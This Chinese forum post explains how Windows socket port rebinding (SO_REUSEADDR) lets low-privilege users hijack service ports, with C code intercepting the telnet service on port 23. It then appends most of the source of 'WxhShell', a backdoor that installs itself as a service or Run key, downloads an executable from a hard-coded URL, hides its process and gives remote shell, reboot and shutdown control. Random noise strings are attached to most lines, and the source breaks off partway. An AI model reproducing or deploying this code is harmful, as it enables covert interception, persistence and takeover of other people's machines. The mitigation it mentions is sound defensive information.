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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: )$9w Kk\F  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); hp(MKfhH  
1t &_]q_  
  saddr.sin_family = AF_INET; g|?}a]G  
YjTr49Af0  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); U,v`md@PX  
'l~7u({u  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Kb<c||2Nh5  
]1d)jWG  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 #<9'{i3  
% R25,  V  
  这意味着什么?意味着可以进行如下的攻击: d$bO.t5CLh  
r /a@ x9  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 gL&w:_  
{ >[ ]iX  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) V61oK  
/4 pYhJ8S  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 lqL5V"2Y  
t`|Rn9-  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  @YH>|{S&  
 =5B5  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 [#Gu?L_W  
*K$a;2WjzG  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 qg`ae  
bF_0',W  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 $poIWJMc  
*qSvSY*  
  #include zx=eqN@!@  
  #include m)pHCS  
  #include <_|@ ~^u  
  #include    1) 2-UT  
  DWORD WINAPI ClientThread(LPVOID lpParam);   V )oXJL  
  int main() f['lY1#V1  
  { 6c-'CW  
  WORD wVersionRequested; D3dh,&KO\  
  DWORD ret; ri59LYy=  
  WSADATA wsaData; ">t^jt{  
  BOOL val; uchQv]VB  
  SOCKADDR_IN saddr; .U|'KCM9m  
  SOCKADDR_IN scaddr; !w%c= V]tV  
  int err; ';Nc;9  
  SOCKET s; H@wjZ;R  
  SOCKET sc; r`6f  
  int caddsize; t855|  
  HANDLE mt; R"O%##Ws  
  DWORD tid;   ]f &]E ~i  
  wVersionRequested = MAKEWORD( 2, 2 ); M *3G  
  err = WSAStartup( wVersionRequested, &wsaData ); %pOz%v~  
  if ( err != 0 ) { WR#h~N 9c  
  printf("error!WSAStartup failed!\n"); 1<#D3CXK  
  return -1; 9M9Fif.  
  } F#<:ZByjJ@  
  saddr.sin_family = AF_INET; lg$aRqI29  
   qtZzJ>Y  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 M$ieM[_T  
KP0(w(q  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ~b)X:ku  
  saddr.sin_port = htons(23); NwYQ6VEA  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) M\CzV$\y  
  { Mpw]dYM  
  printf("error!socket failed!\n"); WK*tXc_[b  
  return -1; ;ZI8vF b  
  } ,#, K_oz  
  val = TRUE; 5cQ]vb  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 jmv=rl>E*  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) J0R{|]W8  
  { @aUNyyVP  
  printf("error!setsockopt failed!\n"); F1$XUos9  
  return -1; k}<H  
  } l }^ziY!  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ~?b1x+soV  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ,.*D f)+  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 yY UAH-  
fmv:vs /9  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ]$ s)6)kW  
  { v mkiw1  
  ret=GetLastError(); )#\3c,<Y  
  printf("error!bind failed!\n"); 1=IOio4U  
  return -1; Hi K+}?I  
  } 2Q@n a @s  
  listen(s,2); wn_ >Vi1  
  while(1) dba_(I~y  
  { uQ[,^Ee&/  
  caddsize = sizeof(scaddr); $X)|`$#pL#  
  //接受连接请求 ^vG<Ma.yk  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); p.(+L^-=  
  if(sc!=INVALID_SOCKET) aDX&j2/  
  { :EHk]Hkz  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ~x'8T!M{  
  if(mt==NULL) b&h'>(  
  { =2GKv7q$x,  
  printf("Thread Creat Failed!\n"); [Fag\/Y+  
  break;  8(K:2  
  } tk'&-v'h  
  } Wkk(6gS,  
  CloseHandle(mt); 3)=ix. wW  
  } HX| p4-L  
  closesocket(s); R-ek O7z  
  WSACleanup(); "u~` ZV(  
  return 0; -WyB2$!(  
  }   ;2g.X(Ra  
  DWORD WINAPI ClientThread(LPVOID lpParam) 3A"TpR4f`  
  { 4pXY7+e2'  
  SOCKET ss = (SOCKET)lpParam; 9 $X" D  
  SOCKET sc; 3*%+NQIj  
  unsigned char buf[4096]; TeZu*c  
  SOCKADDR_IN saddr; Gy["_;+xU  
  long num; A~E S{Zkh  
  DWORD val; _/P;`@  
  DWORD ret; v.:Q& ]  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Ex_dqko  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   M+ <SSi"  
  saddr.sin_family = AF_INET; &DYC3*)Jih  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Iy*Q{H3[  
  saddr.sin_port = htons(23); n>Oze7hVY  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 9&^5!R8  
  { GcO:!b*YMp  
  printf("error!socket failed!\n"); G2!<C-T{2  
  return -1; 525^/d6v  
  } zD8$DG8  
  val = 100; ea$. +  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) G){+.X4g3  
  { %UooZO  
  ret = GetLastError(); xp3^,x;\X  
  return -1; NzhWGr_x'  
  } Bo ywgL|  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) $1s>efP-  
  { -3d`e2^&}  
  ret = GetLastError(); c(8>oeKyD  
  return -1; G;/> N'#  
  } vYLspZ;S  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)  4J=6U&b  
  { n?q+:P  
  printf("error!socket connect failed!\n"); 8>vNa  
  closesocket(sc); >N`, 3;Z  
  closesocket(ss); dn42'(p@G  
  return -1; Q-G8Fo%#,E  
  } Xooh00  
  while(1) # E8?2]  
  { *j1Skd.#At  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 I) *J,hs1  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 =:R${F  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 qnd] UUA^  
  num = recv(ss,buf,4096,0); hlc g[Qdo*  
  if(num>0) "J}B lB  
  send(sc,buf,num,0); m\ qR myO  
  else if(num==0) Q>w)b]d~c  
  break; wax^iL!  
  num = recv(sc,buf,4096,0); _q@lP|  
  if(num>0) kwS[,Qy\  
  send(ss,buf,num,0); [CV0sYEA  
  else if(num==0) |D'!.$7%  
  break; #t# S(A9)  
  } v33[Rk'  
  closesocket(ss); `-W4/7  
  closesocket(sc); m^/>C -&C  
  return 0 ; *z~J ]  
  } 4 #lLC-k  
y^{ 4}^u-^  
[5b[ztN%  
========================================================== 0U.Ld:  
@JP6F[d  
下边附上一个代码,,WXhSHELL #=m:>Q?%z  
%A&g-4(  
========================================================== <x$f D37  
m<MN.R7  
#include "stdafx.h" _\,4h2(  
6is+\  
#include <stdio.h> OWYY2&.h  
#include <string.h> B(- F|q\  
#include <windows.h> fl_a@QdB#  
#include <winsock2.h> 'P&r^V\~(/  
#include <winsvc.h> 4dSAGLpp  
#include <urlmon.h> 6,R<8a;Wn  
wmP[\^c%$j  
#pragma comment (lib, "Ws2_32.lib") 98{n6$\  
#pragma comment (lib, "urlmon.lib") GapH^trm  
t3Iij0b~  
#define MAX_USER   100 // 最大客户端连接数 e5ww~%,  
#define BUF_SOCK   200 // sock buffer RD:LNl<0sh  
#define KEY_BUFF   255 // 输入 buffer = j l( Q  
IeIv k55  
#define REBOOT     0   // 重启 lrMkp@ f.  
#define SHUTDOWN   1   // 关机 d;r,?/C  
Z\)P|#L$  
#define DEF_PORT   5000 // 监听端口 7:.!R^5H  
;:)u rI?  
#define REG_LEN     16   // 注册表键长度 |IWm:[H3  
#define SVC_LEN     80   // NT服务名长度 \/y&l\ k)  
9<Th: t|w  
// 从dll定义API Y$3liDeL=  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); qNkX:|j  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); yW_goS0  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); VOmS>'$  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $@dPIq4o;}  
_xP@kN~  
// wxhshell配置信息 n 2(\pQKm  
struct WSCFG { 4)N~*+~\h  
  int ws_port;         // 监听端口 g-+/zEOUS  
  char ws_passstr[REG_LEN]; // 口令 lg jY\?  
  int ws_autoins;       // 安装标记, 1=yes 0=no Lg6>\Z4  
  char ws_regname[REG_LEN]; // 注册表键名 vZSwX@0  
  char ws_svcname[REG_LEN]; // 服务名 )YLZ"@  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 _p+q)#.W  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 *b1NVN$  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 B8V85R  
int ws_downexe;       // 下载执行标记, 1=yes 0=no mj2sbRiSR=  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" mx^rw*'JGC  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 F@X8a/;F-  
YE@!`!`d:  
}; @y# u!}  
_x7>d:C  
// default Wxhshell configuration CT{ X$N  
struct WSCFG wscfg={DEF_PORT, f%STkL)  
    "xuhuanlingzhe", IS!]!s'EI  
    1, &gvX<X4e  
    "Wxhshell", mgEZiAV?  
    "Wxhshell", 4-xg+*()  
            "WxhShell Service", Cz4l  
    "Wrsky Windows CmdShell Service", r*ry8QA  
    "Please Input Your Password: ", OgyHX>}bH  
  1, D_I_=0qNd  
  "http://www.wrsky.com/wxhshell.exe", /9C>{29x!  
  "Wxhshell.exe" jATN):8W  
    }; gHU0Pr9'  
tpKQ$) ed  
// 消息定义模块 <UJ5n) }"\  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; &)Iue<&2  
char *msg_ws_prompt="\n\r? for help\n\r#>"; `XbV*{7  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; A Rjox`  
char *msg_ws_ext="\n\rExit."; FBI^}^#_  
char *msg_ws_end="\n\rQuit."; E`3[62C  
char *msg_ws_boot="\n\rReboot..."; d[KG0E5`  
char *msg_ws_poff="\n\rShutdown..."; [i N}W5 m  
char *msg_ws_down="\n\rSave to "; _57 68G`P  
*IC9))PGJ  
char *msg_ws_err="\n\rErr!"; bd.t|A  
char *msg_ws_ok="\n\rOK!"; hKp-"  
W#<ZaGsq  
char ExeFile[MAX_PATH]; " 1$hfs  
int nUser = 0; Y<`uq'V  
HANDLE handles[MAX_USER]; Yg")/*!H  
int OsIsNt; gM Z `  
Q<Th*t   
SERVICE_STATUS       serviceStatus;  Hh<}~s  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 32):&X"AIh  
 qr7_3  
// 函数声明 &#[6a&9#[A  
int Install(void); 80O[pf*?  
int Uninstall(void); sMqAuhw$.  
int DownloadFile(char *sURL, SOCKET wsh); XiUae{j`  
int Boot(int flag); ;z^C\=om  
void HideProc(void); Sc$]ar]S  
int GetOsVer(void); p%y|w  
int Wxhshell(SOCKET wsl); }o#6g|"\sY  
void TalkWithClient(void *cs); r}])V[V  
int CmdShell(SOCKET sock); Z6r_T  
int StartFromService(void); cH\.-5NQ  
int StartWxhshell(LPSTR lpCmdLine); |=4imM7  
.^* .-8q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); O LxiY r  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^T/d34A;SP  
w#`E;fN'  
// 数据结构和表定义 i!EN/Bd  
SERVICE_TABLE_ENTRY DispatchTable[] = x AR9* <-  
{ `zOQ*Y&  
{wscfg.ws_svcname, NTServiceMain}, OX)[?1m8  
{NULL, NULL} b\9}zmG[u  
}; q%GlS=o "  
L(eLxw e%  
// 自我安装 4o*wLCo7^  
int Install(void) c4n]#((%a  
{ FQCz_ z  
  char svExeFile[MAX_PATH]; '0>w_ge4  
  HKEY key; 2AI~Jm#  
  strcpy(svExeFile,ExeFile); M2e_)f:  
'I roQ M  
// 如果是win9x系统,修改注册表设为自启动 ojZvgF  
if(!OsIsNt) { yGtGhP8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =;^#5dpt$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ue{0X\[P<  
  RegCloseKey(key); r%~/y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?Dk&5d^d  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); u >o2lvy8  
  RegCloseKey(key); }*I:0"WH  
  return 0; 0 lsX~d'W  
    } rXlJW]i  
  } WfE,U=e*  
}  \>*B  
else { bjEm=4FI;  
&]Q\@;]Aq  
// 如果是NT以上系统,安装为系统服务 !r*Ogv[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); \sZ!F&a~  
if (schSCManager!=0) 0(!D1G{ul  
{ h*9s^`9)  
  SC_HANDLE schService = CreateService H"A|Z6y$^  
  ( z<c@<M=Q*  
  schSCManager, fB3W} dr  
  wscfg.ws_svcname, !4B($]t  
  wscfg.ws_svcdisp, VCZ.{MD  
  SERVICE_ALL_ACCESS, \vvV=iw  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , L<**J\=7M  
  SERVICE_AUTO_START, P Yp<eo\  
  SERVICE_ERROR_NORMAL, J}cqBk>  
  svExeFile, I+]q;dF;  
  NULL, Bdd>r# ]  
  NULL, 0R%R2p'wG  
  NULL, 0]3#3TH  
  NULL, Una7O]  
  NULL #4e Taik  
  ); y QxzFy  
  if (schService!=0) yH0BNz8V  
  { 3-5X^!C  
  CloseServiceHandle(schService); IMDGinHAy  
  CloseServiceHandle(schSCManager); b-rgiR$cg  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); as?~N/}  
  strcat(svExeFile,wscfg.ws_svcname); Z;bg;@r|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { q'%-8t  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <k0$3&D  
  RegCloseKey(key); P=%' 2BQ{{  
  return 0; ah\yw  
    } ~;A36M-[.  
  } vf+GC*f  
  CloseServiceHandle(schSCManager); 2}P?N  
} [80L|?, *  
} E6  2{sA^  
8e9ZgC|  
return 1; t_PAXj  
} "[ 091<  
D/1f> sl  
// 自我卸载 nmn 8Y V1  
int Uninstall(void) 7LM?<lp]  
{ W9ZfD~(3-  
  HKEY key; oyS43/."  
G/:;Qig  
if(!OsIsNt) { :eIu<_,}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %\5d?;   
  RegDeleteValue(key,wscfg.ws_regname); {uQp$`  
  RegCloseKey(key); !vB8Pk"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n .{Ud\|  
  RegDeleteValue(key,wscfg.ws_regname); 6 ZutU ~HS  
  RegCloseKey(key); n9}3>~ll  
  return 0; ;-:Nw6 E  
  } WxB}Uh  
} fP>*EDn@xg  
} [nO\Q3c|@$  
else { o+o'!)  
3(De> gs$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Q,# )  
if (schSCManager!=0) &"(xd@V)]A  
{ u!FX 0Ip  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); }6;v`1Hr  
  if (schService!=0) Z9MT, "  
  { -^i[   
  if(DeleteService(schService)!=0) { IXaF(2>  
  CloseServiceHandle(schService); MY]Z@  
  CloseServiceHandle(schSCManager); ,,hW|CmN30  
  return 0; }i7Gv K<[:  
  } y my/`%  
  CloseServiceHandle(schService); ^a6c/2K  
  } '$@bTW  
  CloseServiceHandle(schSCManager); #Ont1>T,G  
} ,U\F <$O  
} %z}{jqD&:X  
A.@S>H'P  
return 1; biJ"@dm 4  
} 'gDhi!h%  
>}tm8|IHoo  
// 从指定url下载文件 H B}!Lf#*P  
int DownloadFile(char *sURL, SOCKET wsh) kf3 u',}R  
{ Bg"KNg  
  HRESULT hr; Z= P]UD  
char seps[]= "/"; +}eGCZra  
char *token; .Du-~N4\  
char *file; hx4X#_)v  
char myURL[MAX_PATH]; 8CR b6  
char myFILE[MAX_PATH]; &Ff#E?Y4|  
1$&(ei]*:  
strcpy(myURL,sURL); To_Y 8 G  
  token=strtok(myURL,seps); HzcI2 P`|  
  while(token!=NULL) gVM&wo |  
  { t u )kWDk  
    file=token; Rt &Oz!TQ  
  token=strtok(NULL,seps); 8reis1]2S  
  } V&i/3g  
z+RA  
GetCurrentDirectory(MAX_PATH,myFILE); R4 8w\?L  
strcat(myFILE, "\\"); F|,_k%QP  
strcat(myFILE, file); v1s.j2T  
  send(wsh,myFILE,strlen(myFILE),0); n]?KDID;  
send(wsh,"...",3,0); eI%{/>  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {tq.c9+!d  
  if(hr==S_OK) >5rb4  
return 0; oCw>b]S  
else I{e[Y_  
return 1; nH6Ny  
ia'eV10  
} u0&QStI  
i%M6$or  
// 系统电源模块 c Z6Zx]  
int Boot(int flag) ;L <D-=  
{ T*AXS|=ju  
  HANDLE hToken; ID/=YG@  
  TOKEN_PRIVILEGES tkp; 2U;6sn*e  
_"b[U T}m  
  if(OsIsNt) { KaEL*  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); k/ 6Qwb#  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Bu[sSoA  
    tkp.PrivilegeCount = 1; }XJA#@  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; M0+xl+c+  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 4f)B@A-  
if(flag==REBOOT) { P!c.!8C$  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ] LcCom:]  
  return 0; 4=BIYC"Lu  
} q5@N//<DNN  
else { gk &  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) #qx$ p  
  return 0; _6y#?8RMB  
} =tP%K*Il4  
  } S.u1[Yz^  
  else { F$tshe(  
if(flag==REBOOT) { ]Alv5?E60  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) reBAxmt   
  return 0; ~pv|  
} Y (a0*fh  
else { >s 5i  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Wu}84W"!.V  
  return 0; 0| a,bwZ  
} v[++"=< o8  
} XfYMv38(  
%QYH]DR  
return 1; {WYJQKs8  
} Mj9Mv<io  
(:g ZZG  
// win9x进程隐藏模块 gK_^RE9~  
void HideProc(void) /AT2<w  
{ bdS  
I34|<3t$  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Q%_QT0H9Kz  
  if ( hKernel != NULL ) e-Pn,j  
  { E.V lz^B  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); kYW>o}J|  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); C\3;o]  
    FreeLibrary(hKernel); 9;ZaL7>  
  } yH9(ru  
8M<\?JD~_f  
return; IBT 1If3  
} f/?uo sS  
n'5LY9"  
// 获取操作系统版本 j[ fE^&  
int GetOsVer(void) 8q}955Nl  
{ m@,u&9K  
  OSVERSIONINFO winfo; 4#^E$N:  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); SsY :gp_  
  GetVersionEx(&winfo); e+TSjm  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) d-rqZn}  
  return 1; qh]D=i  
  else dvW2X  
  return 0; \aY<| 7zK  
} ~Y_5q)t(  
^b;3Jj  
// 客户端句柄模块 X21k7 Ls  
int Wxhshell(SOCKET wsl) B - 1Kfc  
{ _+aMP=H  
  SOCKET wsh; K!<3|d  
  struct sockaddr_in client; "Dt: 8Nf^  
  DWORD myID; _?I6[Mz  
Fd1t/B,  
  while(nUser<MAX_USER) ?!Wh ^su-  
{ H#+2l?D:"  
  int nSize=sizeof(client); B>kVJK`X  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); kM;}$*?  
  if(wsh==INVALID_SOCKET) return 1; .gJv})Vi  
SR$?pJh D%  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); g9.y`o}c  
if(handles[nUser]==0) 0 3?7kAI  
  closesocket(wsh); KKRj#m(:!  
else TB%NHq-!  
  nUser++; mD_sf_2>  
  } r}4   
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Ywo=w:'  
0PdX>h.t  
  return 0; $lAQcG&Q  
} .P(A x:g  
}I"k=>Ycns  
// 关闭 socket f~R`RBZ]9  
void CloseIt(SOCKET wsh) BmI'XB3'P  
{ er0y~  
closesocket(wsh); .)|2^ 'W  
nUser--; w\}Q.$@  
ExitThread(0); C>*1f|<  
} w gkY \Q  
u|sdQ  
// 客户端请求句柄 b\Mb6s  
void TalkWithClient(void *cs) iTVepYv4m  
{ c9ea%7o{0a  
rebWXz7  
  SOCKET wsh=(SOCKET)cs;  q!as~{!  
  char pwd[SVC_LEN]; fU>4Ip1?y/  
  char cmd[KEY_BUFF]; THcX.%ToT  
char chr[1]; 5n1T7-QCL  
int i,j; >l=;6QL  
*lBX/O`=  
  while (nUser < MAX_USER) { h/NI5   
Z!z#+G  
if(wscfg.ws_passstr) { V5!mV_EoR@  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,xg(F0q  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;0nL1R]w(  
  //ZeroMemory(pwd,KEY_BUFF); {q/D,Rh8  
      i=0; yaK4% k  
  while(i<SVC_LEN) { ,D93A  
+-PFISa<r  
  // 设置超时 O6b.oS '-  
  fd_set FdRead; q\d/-K  
  struct timeval TimeOut; 9)S,c =z83  
  FD_ZERO(&FdRead); $p\0/  
  FD_SET(wsh,&FdRead); `C)|}qcC  
  TimeOut.tv_sec=8; Og:aflS  
  TimeOut.tv_usec=0; r}|a*dh'R  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Gf<%bQE  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); y:VY8a 4  
e[g.&*!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7xfN}iHG  
  pwd=chr[0]; D%h_V>#z  
  if(chr[0]==0xd || chr[0]==0xa) { FJIo] p  
  pwd=0; MmW]U24s  
  break;  Eikt,  
  }  Wo,fHY  
  i++; nq*D91Q  
    } }3 S6TJ+  
$c];&)7q  
  // 如果是非法用户,关闭 socket 6G;t:[H G  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <*+Y]=  
} r~;TId} #  
DC,]FmWs!+  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); uE&2M>2  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F>"B7:P1:Q  
nT%<!/}!  
while(1) { s%@HchZ 1  
AxiCpAS;J  
  ZeroMemory(cmd,KEY_BUFF); t ybM3VA  
RO8]R2A  
      // 自动支持客户端 telnet标准   ;s w3MRJ  
  j=0; 7s2e> 6Q[  
  while(j<KEY_BUFF) { pTE.,~-J^j  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); B0ZLGB  
  cmd[j]=chr[0]; vf h*`G$  
  if(chr[0]==0xa || chr[0]==0xd) { ]3~X!(O  
  cmd[j]=0; 1*]@1DJt  
  break; Q_FL8w9D~8  
  } Vv.q{fRvYB  
  j++; 5`f\[oA  
    } D|"^ :Gi  
k^Uk= )9  
  // 下载文件 E>NL/[1d  
  if(strstr(cmd,"http://")) { v$EgVc K  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 9I*i/fa  
  if(DownloadFile(cmd,wsh)) !kWx'tJ$  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); q Qc-;|8  
  else 0 rilg  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8@BN6  
  } 6a*OQ{8  
  else { G/?j$T  
=d1i<iw?-  
    switch(cmd[0]) {  4d )Q  
  [p 8fg!|  
  // 帮助 =d1R9O  
  case '?': { #brV{dHV,  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); L`0}wR?+  
    break; Z=y^9]  
  }  *egAx  
  // 安装 U?yKwH^{  
  case 'i': { FW!1 0K?  
    if(Install()) ARa9Ia{@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YhJ*(oWL  
    else hxj[gE'R(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n Y=]KU  
    break; a3(q;^v  
    } bcE%EQ  
  // 卸载 \&1Di\eL  
  case 'r': { q@&.)sLPgO  
    if(Uninstall()) UZ3oc[#D=]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =]hPX  
    else =U<6TP]{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O{44GB3  
    break; 7s'r3}B`  
    } 6>; dJV  
  // 显示 wxhshell 所在路径 N!#TK9  
  case 'p': { bhc .UmH  
    char svExeFile[MAX_PATH]; So\f [/em  
    strcpy(svExeFile,"\n\r"); {;Ispx0m  
      strcat(svExeFile,ExeFile); *q+z5G;O  
        send(wsh,svExeFile,strlen(svExeFile),0); ]WP[hF  
    break; $XO#qOW  
    } d&[.=M\E8  
  // 重启 R'{BkC}.  
  case 'b': { ]aVFWzey  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ]U,f}T"e  
    if(Boot(REBOOT)) <j$n7#qk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q )b*; @  
    else { ~}F$1;t0  
    closesocket(wsh); (>gAnebN L  
    ExitThread(0); 84$#!=v  
    } ,c\3b)ax  
    break; ^qD@qJ  
    } = ;"$t_t  
  // 关机 _/zK ^S)  
  case 'd': { d %Z+.O  
